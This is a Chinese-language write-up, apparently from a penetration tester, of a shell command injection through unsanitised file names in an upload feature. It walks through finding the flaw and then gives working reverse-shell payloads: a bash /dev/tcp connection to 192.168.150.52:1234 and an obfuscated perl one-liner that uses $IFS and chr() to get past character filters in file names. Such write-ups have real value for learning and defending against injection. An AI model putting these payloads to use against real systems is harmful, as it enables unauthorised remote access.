没有过滤特殊字符导致的shell命令注入

Demo

在某个系统的上传文件功能,由于前端和后端都没有校验文件名称中的特殊符号,并且Linux进程使用了该文件名称作为参数,最终导致了命令注入。
Demo如下。

漏洞发现过程

对系统的文件上传功能测试时,发现一个奇怪的现象。一个文件内容符合要求的文件上传失败,提示错误信息:

Upload failed

文件内容肯定没有问题,难道是文件名称不符合规则吗?

测试时使用的文件名称为”b(a).bin“。难道是因为特殊字符的问题吗?

于是,修改文件名称为”b’a.bin“,又验证了一次。还是报同样的错误。

接下来,又试了& 和 `两个特殊字符,也是同样的错误。

Upload failed

上面的特殊字符在Linux shell中都是有特殊用途的,推测要么是以上特殊字符被禁止使用,要么是文件上传到服务器后使用了文件名导致错误。

下载了服务器的日志,发现了很明显的bash 语法错误。

Upload failed

接下来是反弹shell的过程。最初想到的是bash

1
bash -i >& /dev/tcp/192.168.150.52/1234 0>&1

但是经过大量的测试发现,文件名称中如果存在空格,会被替换掉。并且当前使用的操作系统是Windows,文件名称也不能包含”/“和>”。

空格比较容易对付,可以使用Linux内置变量$IFS,默认为空格。其余的特殊字符怎么解决呢?

“$”符号可以使用,于是想到了一个笨的办法,用perl 的ASCII转换函数chr()。

1
2
3
4
chr(076); # >
chr(057); # /
chr(040); # SPACE
chr(046); # &

最终测试的命令如下:

1
`perl$IFS-e$IFS'$s=chr(040);$g=chr(076);$l=chr(057);$n=chr(046);$c=q(bash).$s.q(-i).$s.$g.$n.$s.$l.q(dev).$l.q(tcp).$l.q(192.168.150.52).$l.q(1234).$s.q(0).$g.$n.q(1);system($c)'`

对应的perl命令是:

1
perl -e 'system("bash -i >& /dev/tcp/192.168.150.52/1234 0>&1")'